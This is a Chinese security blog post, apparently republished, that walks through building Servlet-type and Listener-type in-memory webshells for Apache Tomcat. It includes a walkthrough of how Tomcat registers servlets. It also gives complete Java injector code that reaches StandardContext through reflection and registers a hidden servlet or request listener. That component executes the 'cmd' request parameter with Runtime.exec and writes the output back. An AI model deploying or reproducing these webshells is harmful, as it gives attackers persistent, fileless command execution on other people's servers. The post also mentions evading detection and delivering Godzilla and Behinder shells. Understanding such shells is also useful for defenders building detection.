您的位置:首页 > 运维架构 > Tomcat

Java安全之基于Tomcat的Servlet&Listener内存马

2022-01-10 00:41 2026 查看

Java安全之基于Tomcat的Servlet&Listener内存马

写在前面

接之前的Tomcat Filter内存马文章,前面学习了下Tomcat中Filter型内存马的构造,下面学习Servlet型的构造,后续并分析一下Godzilla中打入Servlet型内存马的代码。

学习之前首先将前面Filter型内存马做一个简单的回顾,首先之前构造的Filter型内存马看网上文章讲是指支持Tomcat7以上,原因是因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3。

且在Tomcat7与8中 FilterDef 和 FilterMap 这两个类所属的包名不一样 tomcat 7:

org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;

tomcat 8:

org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;

但是Servlet则是在Tomcat7与8中通用的,而Godzilla的内存马也是Servlet型内存马

ServletContext跟StandardContext的关系

Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。

Servlet型内存马构造

还是在ApplicationContext类中,有4个addServlet方法,前三个为重载

最终会走到该

addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams)
方法内,该方法代码如下。

流程为:首先判断servletName是否为空,之后从StandardContext中获取child属性并转换为wrapper对象,如果wrapper为空就通过StandardContext的createWrapper方法创建一个Wrapper并通过StandardContext addChid方法将Wrapper添加到StandardContext的属性Child中。方法最后会返回ApplicationServletRegistration对象

private javax.servlet.ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException {
if (servletName != null && !servletName.equals("")) {
if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(sm.getString("applicationContext.addServlet.ise", new Object[]{this.getContextPath()}));
} else {
Wrapper wrapper = (Wrapper)this.context.findChild(servletName);
if (wrapper == null) {
wrapper = this.context.createWrapper();
wrapper.setName(servletName);
this.context.addChild(wrapper);
} else if (wrapper.getName() != null && wrapper.getServletClass() != null) {
if (!wrapper.isOverridable()) {
return null;
}

wrapper.setOverridable(false);
}

ServletSecurity annotation = null;
if (servlet == null) {
wrapper.setServletClass(servletClass);
Class<?> clazz = Introspection.loadClass(this.context, servletClass);
if (clazz != null) {
annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);
}
} else {
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
if (this.context.wasCreatedDynamicServlet(servlet)) {
annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);
}
}

if (initParams != null) {
Iterator var9 = initParams.entrySet().iterator();

while(var9.hasNext()) {
Entry<String, String> initParam = (Entry)var9.next();
wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());
}
}

javax.servlet.ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);
if (annotation != null) {
registration.setServletSecurity(new ServletSecurityElement(annotation));
}

return registration;
}
} else {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));
}
}

先构造出Servlet型内存马,代码参照su18师傅的文章,先照搬过来,然后再去分析代码,最后对代码存在的疑问做一个简单的分析。

其实大体上流程与Filter型差不多,只不过这次需要动态注册Servlet而不是Filter,所以在动态注册哪里代码进行一些改动即可

@WebServlet("/addServletMemShell")
public class ServletMemShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 获取ServletContext
final ServletContext servletContext = req.getServletContext();
Field appctx = null;
try {
// 获取ApplicationContext
appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 获取StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

String ServletName = "ServletMemShell";
// 创建一个与程序现有Servlet不重名的Servlet
if (servletContext.getServletRegistration(ServletName) == null){
HttpServlet httpServlet = new HttpServlet(){
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd!=null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int len;
while ((len = bufferedInputStream.read())!=-1){
resp.getWriter().write(len);
}
}
}
};

// Standard createWrapper 拿到Wrapper封装Servlet
Wrapper wrapper = standardContext.createWrapper();
//在Wrapper中设置ServletName
wrapper.setName(ServletName);
// 注意下面这一行代码
wrapper.setLoadOnStartup(1);
wrapper.setServlet(httpServlet);
wrapper.setServletClass(httpServlet.getClass().getName());

// 向children中添加wrapper
standardContext.addChild(wrapper);
// 设置ServletMappings
standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);

resp.getWriter().write("Inject Tomcat ServletMemShell Success!");

}

} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}

依旧是先访问上面构造的Servlet,之后会帮我们注册一个Servlet内存马。

Servlet内存马创建分析

其实关键部分就是下面这段代码

// Standard createWrapper 拿到Wrapper封装Servlet
Wrapper wrapper = standardContext.createWrapper();
//在Wrapper中设置ServletName
wrapper.setName(ServletName);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(httpServlet);
wrapper.setServletClass(httpServlet.getClass().getName());

// 向children中添加wrapper
standardContext.addChild(wrapper);
// 设置ServletMappings
standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);

个人认为与filter型不同点在于

wrapper.setLoadOnStartup(1);
,那么
loadOnStartup
在什么地方被调用呢?回看了下调用栈,发现在StandardContext#startInternal方法中,依次调用了
listenerStart
filterStart
loadOnStartup
方法,

跟一下

loadOnStartup
方法,前面是获取children属性并进行遍历

getLoadOnStartup()代码如下,这是StandardWrapper的属性loadOnStartup的get方法,依据条件,我们的代码中先通过

wrapper.setLoadOnStartup(1);
将其设置为1,那最后这里返回的值也是1.

也因此会进入下面的if中最后调用StandardWrapper#load方法,在load方法中进行Servlet的加载与初始化。

总体的调用栈如下,不过中间被省略了不少,比如addChild,chidStart,addServlet方法都有经过,感兴趣的师傅可以自己调试下

那上面是针对于存在loadOnStartup属性的Servlet。

有意思的来了,可以尝试把我们上面的

wrapper.setLoadOnStartup(1);
这行代码去掉,测试后发现依然不影响Servlet内存马的注入。: )

这里涉及到Servlet的一个加载问题:

针对配置了 load-on-startup 属性的 Servlet 而言,其它一般 Servlet 的加载和初始化会推迟到真正请求访问 web 应用而第一次调用该 Servlet 时

在非配置load-on-startup 属性的 Servlet 而言,是不会在系统加载的时候创建具体的处理实例对象,依旧还只是个配置记录在Context中。真正的创建则是在第一次被请求的时候,才会实例化

那疑问就解决了,

wrapper.setLoadOnStartup(1);
只是影响Servlet在何时进行加载,而不影响他是否加载。

那没有loadOnStartup属性的Servlet怎么加载的呢?

回到调用栈中StandardWrapperValve#invoke方法中,重点是下面这一行

跟进去看实现,所以是在StandardWrapper#allocate方法中进行的Servlet加载与初始化

综上,那其实创建Servlet的流程就不难理解了。

依旧是获取到StandardContext,创建Servlet的封装类Wrapper,也就是StandardWrapper,后续设置ServletNam与ServletClass并指定类与ServletMapping ,类似于Web.xml中的配置就是

<servlet>
<servlet-name> </servlet-name>
<servlet-class> </servlet-class>
</servlet>
<servlet-mapping>
<servlet-name> </servlet-name>
<url-pattern> </url-pattern>
</servlet-mapping>

后续就是添加到child属性中,等待第一次访问该Servlet时让Tomcat去加载就好了,或者设置了

wrapper.setLoadOnStartup(1);
可以直接在系统加载的时候创建Servlet

Listener型内存马

Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,因此依靠它也可以完成内存马的实现。

在应用中可能调用的监听器如下:

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

Tomcat中保存的Listener对象在 StandardContext 的 applicationEventListenersObjects 属性中,同时StandardContext存在

addApplicationEventListener
方法来添加Listener。

本次用到的是

ServletRequestListener
接口,该接口提供两个方法
requestInitialized
requestDestroye
分别在Request对象创建和销毁的时候自动触发执行方法内的内容,而该方法接受的参数为ServletRequestEvent对象,其中可以获取ServletContext 对象和 ServletRequest 对象。

构造恶意Listener

public class ListenerMemShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
RequestFacade request = (RequestFacade) sre.getServletRequest();
try {
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request request1 = (Request) req.get(request);
Response response = request1.getResponse();
String cmd = request1.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
int len;
while ((len = is.read()) != -1){
response.getWriter().write(len);
}

} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}

}
}

可以写一些工具类对上面的恶意Listener做一些处理,比如将class文件转成byte再转base64之后在Servlet中解码加载字节码

@WebServlet("/addListenerMemShell")
public class ListenerMemShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 获取ServletContext
final ServletContext servletContext = req.getServletContext();
Field appctx = null;
try {
// 获取ApplicationContext
appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 获取StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

standardContext.addApplicationEventListener(Utils.getClass(Utils.LISTENER_CLASS_STRING1).newInstance());

resp.getWriter().write("Success For Add Listnenr CmdMemShell !");
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}

}
}

先访问addListenerMemShell

之后随便访问个Servlet在参数中输入想要执行的命令即可。

End

其实在Tomcat环境下,相较于Servlet,本人更喜欢Filter和Listener型的内存马,主要是在于Filter、Listener的访问都在Servlet之前,也就避免了一些可能会出现玄学和花里胡哨的问题。而关于Listener,玩法应该还有很多,只是看到的文章比较少可能以后会更多的去尝试Listener型内存马,比如打behinder3和Godzilla。

后面学习下通过反序列化打内存马的姿势,集成上打哥斯拉和behinder的内存马,顺带改造下yso,以及将反序列化命令执行与回显链进行缝合,也可以集成到yso里。包括近期有看到关于filter的处理做到简单的免杀,以及不同容器的内存马注入和Tomcat下StandardContext的获取做到6789版本通杀,会放在后面一点点研究。

Reference

http://www.xiao-hang.xyz/2019/05/16/Tomcat%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90-%E4%B8%89-WEB%E5%8A%A0%E8%BD%BD%E5%8E%9F%E7%90%86-%E4%BA%8C/

https://su18.org/post/memory-shell/

https://github.com/su18/MemoryShell

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: